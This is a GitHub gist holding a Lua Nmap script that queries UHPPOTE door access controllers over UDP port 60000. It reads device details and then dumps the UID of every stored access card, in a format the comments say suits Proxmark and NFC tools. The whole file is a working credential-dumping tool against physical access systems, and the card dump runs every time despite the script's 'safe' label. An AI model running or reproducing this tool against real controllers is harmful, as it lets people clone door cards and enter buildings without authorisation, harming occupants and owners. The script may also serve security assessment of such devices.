Created
April 9, 2022 09:49
-
-
Save kevthehermit/e7fce7b8749226340928e58f2b991021 to your computer and use it in GitHub Desktop.
Scans a uhppote access controller and retrieves Access Cards
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- The Head | |
local match = require "match" | |
local nmap = require "nmap" | |
local stdnse = require "stdnse" | |
local shortport = require "shortport" | |
description = [[ | |
This script will scan for UHPPOTE Controllers and dump details | |
]] | |
--- | |
-- @usage nmap --script uhppote.nse -p60000 [--script-args cards=<true>] <target> | |
-- @args cards Dumps a list of cards on the controller | |
-- | |
author = {"@kevthehermit", "Kev Breen"} | |
license = "Same as Nmap--See https://nmap.org/book/man-legal.html" | |
categories = {"discovery", "external", "safe"} | |
-- The Rules | |
portrule = shortport.port_or_service(60000, {}, "udp") | |
-- Helper Scripts | |
function to_hex_string(s) | |
local hex = '' | |
local fmt = string.rep('B', #s) | |
for i, v in ipairs(table.pack(string.unpack(fmt, s))) do | |
hex = hex .. string.format("\\x%02x", v) | |
end | |
return hex | |
end | |
-- The Action | |
action = function(host, port) | |
-- Output Table | |
local output = stdnse.output_table() | |
-- Create a Socket and attempt to connect to the target | |
local socket = nmap.new_socket() | |
if ( not(socket:connect(host, port)) ) then | |
return fail("Failed to connect to UHPPOTE Controller") | |
end | |
-- Try to read the device command | |
cmd_hex = "1794" .. string.rep("0", 124) | |
cmd_bytes = "\x17\x94" .. string.rep("\x00", 62) | |
--socket:send(stdnse.fromhex(cmd_hex)) | |
socket:send(cmd_bytes) | |
-- recv 64 bytes | |
status, response = socket:receive_bytes(64) | |
-- If we did not connect to the socket | |
if(status == false) then | |
socket:close() | |
return fail("Couldn't send the buffer: " .. response) | |
end | |
-- Check we get a valid response from the socket | |
--valid = response:match("^1794") | |
-- If response starts with 0x17 0x94 then we got a valid response so parse the data | |
-- Add the results to the output table. | |
output.serialNumber = string.unpack("i4", response, 5) | |
output.IPAddress = table.concat({string.byte(response, 9), string.byte(response, 10), string.byte(response, 11), string.byte(response, 12)}, ".") | |
output.subnetMask = table.concat({string.byte(response, 13), string.byte(response, 14), string.byte(response, 15), string.byte(response, 16)}, ".") | |
output.gatewayIP = table.concat({string.byte(response, 17), string.byte(response, 18), string.byte(response, 19), string.byte(response, 20)}, ".") | |
output.MACAddress = table.concat({string.format("%02x", string.byte(response, 21)), string.format("%02x", string.byte(response, 22)), string.format("%02x", string.byte(response, 23)), string.format("%02x", string.byte(response, 24)), string.format("%02x", string.byte(response, 25)), string.format("%02x", string.byte(response, 26))}, ":") | |
output.FirmwareVersion = "v" .. string.format("%02x", string.byte(response, 27)) .. '.' .. string.format("%02x", string.byte(response, 28)) | |
output.FirmwareDate = string.format("%02x", string.byte(response, 29)) .. string.format("%02x", string.byte(response, 30)) .. "-" .. string.format("%02x", string.byte(response, 31)) .. "-" .. string.format("%02x", string.byte(response, 32)) | |
-- We use the serial number in other requests to pack it here for the wire. | |
controller_serial_bytes = string.pack('i4', output.serialNumber) | |
-- If we gave the option to read cards as well lets do that. | |
-- For now no option just always do it. | |
-- Ask Controller how many cards are configured | |
cmd_bytes = "\x17\x58\x00\x00" .. controller_serial_bytes .. string.rep("\x00", 56) | |
socket:send(cmd_bytes) | |
-- Then read the response | |
status, response = socket:receive_bytes(64) | |
-- If we did not connect to the socket | |
if(status == false) then | |
socket:close() | |
return fail("No response reading cards: " .. response) | |
end | |
-- Parse the number of cards stored in the controller to an int | |
number_of_cards = string.byte(response, 9) | |
output.NumberofCards = number_of_cards | |
-- Table to store our Access Cards | |
output.AccessCards = {} | |
-- Ask Controller to send each card | |
for i = number_of_cards,1,-1 | |
do | |
-- Request for card | |
cmd_bytes = "\x17\x5c\x00\x00" .. controller_serial_bytes .. string.pack('i1', i) .. string.rep("\x00", 55) | |
socket:send(cmd_bytes) | |
-- read the response with card UID and access times. | |
status, response = socket:receive_bytes(64) | |
-- If we did not connect to the socket | |
if(status == false) then | |
socket:close() | |
return fail("No response reading card: " .. response) | |
end | |
-- Convert the card bytes to hex string as this is the format Proxmark and NFC tools will display | |
card_uid = table.concat({string.format("%02x", string.byte(response, 9)), string.format("%02x", string.byte(response, 10)), string.format("%02x", string.byte(response, 11)), string.format("%02x", string.byte(response, 12))}, ":") | |
-- Add each card to a new row in the table | |
-- We ignore Access Dates and ACLS for now | |
output.AccessCards[#output.AccessCards + 1] = "UID: " .. card_uid | |
end | |
-- Close the socket we are done with it | |
socket:close() | |
-- Return the output to the user. | |
return output | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment